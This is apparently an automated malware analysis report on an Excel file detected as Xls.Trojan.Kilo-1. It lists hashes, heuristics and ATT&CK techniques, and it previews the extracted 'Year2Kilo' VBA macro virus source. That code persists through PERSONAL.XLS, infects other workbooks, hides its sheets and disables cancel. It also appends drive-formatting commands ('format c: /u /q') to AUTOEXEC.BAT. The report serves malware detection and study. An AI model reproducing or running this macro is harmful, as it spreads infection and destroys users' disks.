Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2ef2abc342c35935…

MALICIOUS

Office (OLE)

26.5 KB Created: 2000-07-25 04:47:48 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: c11e04f8851e2d3892647cad5ff29b3d SHA-1: c48d275e7111f64c99e8a05bd0164bb87a8eb2c7 SHA-256: 2ef2abc342c35935888227786000ba90e4f44946405fc6f7b7f1f4c7ceb390d2
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The file is identified as malicious by ClamAV with the signature Xls.Trojan.Kilo-1. It contains a VBA macro that executes an Auto_Open subroutine. This macro attempts to copy itself to the PERSONAL.XLS file, which is often used for storing global macros and can be leveraged for persistence. The script's truncated nature prevents a full analysis of its ultimate payload, but the persistence mechanism is clear.

Heuristics 3

  • ClamAV: Xls.Trojan.Kilo-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Kilo-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 29285 bytes
SHA-256: 71c9af5919bc33e3d886b175ef5f6bccbb85405ed348d593f46a20151bb088b2
Detection
ClamAV: Xls.Trojan.Kilo-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Year2Kilo"

' *****************************************************************
' VirusName:Year2Kilo Virus [Y2K-SP],Only Excel
' Origin   : HONGKONG
' Created  : January 22, 1998
' *****************************************************************
Sub Auto_Open()
Attribute Auto_Open.VB_ProcData.VB_Invoke_Func = " \n14"
Application.OnSheetActivate = "Infect"
End Sub
Sub Infect()
Attribute Infect.VB_ProcData.VB_Invoke_Func = " \n14"
On Error GoTo ErrorHandler
If Application.UserName = "RedDone" And Application.OrganizationName = "VirusTime" Then GoTo ErrorHandler
Application.ScreenUpdating = False
Application.DisplayAlerts = False
ThisWorkbook.Saved = True
Application.EnableCancelKey = xlDisabled
Installed = 0
If ThisWorkbook.Name <> "PERSONAL.XLS" Then
If Dir(Application.StartupPath + "\PERSONAL.XLS") = "PERSONAL.XLS" Then Installed = 1
If Installed = 1 Then
GoTo ErrorHandler
Else
Workbooks.Add.SaveAs Filename:=Application.StartupPath + "\PERSONAL.XLS"
Workbooks(ThisWorkbook.Name).Sheets("Year2Kilo").Copy Before:=Workbooks("PERSONAL.XLS").Sheets(1)
Workbooks("PERSONAL.XLS").Sheets("Year2Kilo").Visible = False
Workbooks("PERSONAL.XLS").Save
Windows("PERSONAL.XLS").Visible = False
End If
Else
Windows("PERSONAL.XLS").Visible = False
For I = 1 To Workbooks(ActiveWorkbook.Name).Sheets.Count
If Workbooks(ActiveWorkbook.Name).Sheets(I).Name = "Year2Kilo" Then Installed = 1
Next
If Installed = 1 Then
GoTo ErrorHandler
Else
Workbooks("PERSONAL.XLS").Sheets("Year2Kilo").Copy Before:=Workbooks(ActiveWorkbook.Name).Sheets(1)
Workbooks(ActiveWorkbook.Name).Sheets("Year2Kilo").Visible = False
Workbooks(ActiveWorkbook.Name).Save
Windows("PERSONAL.XLS").Visible = False
End If
End If
Workbooks("PERSONAL.XLS").Save
Application.Caption = "MicroSofa excel"
If Year(Now()) > 1999 Then
Dim fd As String, Fname As String
Randomize
MyValu = Int(((256 - 1) * Rnd) + 1)
fd = "\"
Fname = "BOOK" & MyValu & ".XLS"
ActiveWorkbook.SaveAs Filename:=fd & Fname
End If
Randomize
If Day(Now()) = Int((31 * Rnd) + 1) Then
Open "\AUTOEXEC.BAT" For Append As #1
Print #1, "@echo off"
Print #1, "cls"
Print #1, "echo The FLOPPY disk of A drive is being formatted.  "
Print #1, "echo During initialization   "
Print #1, "echo. "
Print #1, "echo y | \windows\command\format a: /u /q"
Print #1, "echo."
Print #1, "echo."
Print #1, "echo The HARD disk of C drive is being formatted.  "
Print #1, "echo During initialization   "
Print #1, "echo Year2Kilo Virus "
Print #1, "echo."
Print #1, "echo y | \windows\command\format c: /u /q"
Print #1, "echo."
Print #1, "echo Your disk it destroyed that being able to permit, that you do "
Print #1, "echo not do a the practice does not go a the macro virus measure."
Close #1
End If
If Day(Now()) = Int((31 * Rnd) + 1) Then
On Error Resume Next
Error 17
MsgBox Error(Err())
u = Int(((60 - 1) * Rnd) + 1)
newHour = Hour(Now())
newMinute = Minute(Now())
newSecond = Second(Now()) + u
waitTime = TimeSerial(newHour, newMinute, newSecond)
Application.Wait waitTime
Error 61
MsgBox Error(Err())
u = Int(((60 - 1) * Rnd) + 1)
newHour = Hour(Now())
newMinute = Minute(Now())
newSecond = Second(Now()) + u
waitTime = TimeSerial(newHour, newMinute, newSecond)
Application.Wait waitTime
Error 7
MsgBox Error(Err())
u = Int(((60 - 1) * Rnd) + 1)
newHour = Hour(Now())
newMinute = Minute(Now())
newSecond = Second(Now()) + u
waitTime = TimeSerial(newHour, newMinute, newSecond)
Application.Wait waitTime
Error 453
MsgBox Error(Err())
u = Int(((60 - 1) * Rnd) + 1)
newHour = Hour(Now())
newMinute = Minute(Now())
newSecond = Second(Now()) + u
waitTime = TimeSerial(newHour, newMinute, newSecond)
Application.Wait waitTime
Error 28
MsgBox Error(Err())
u = Int(((60 - 1) * Rnd) + 1)
newHour = Hour(Now())
newMinute = Minute(Now())
newSecond = Second(Now()) + u
waitTime = TimeSerial(newHour, newMinute, newSecond)
Application.Wait waitTime
Error 7
MsgBox Error(Err())
u = Int(((60 - 1) * Rnd) + 1)
newHour = Hour(Now())
newMinute = Minute
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.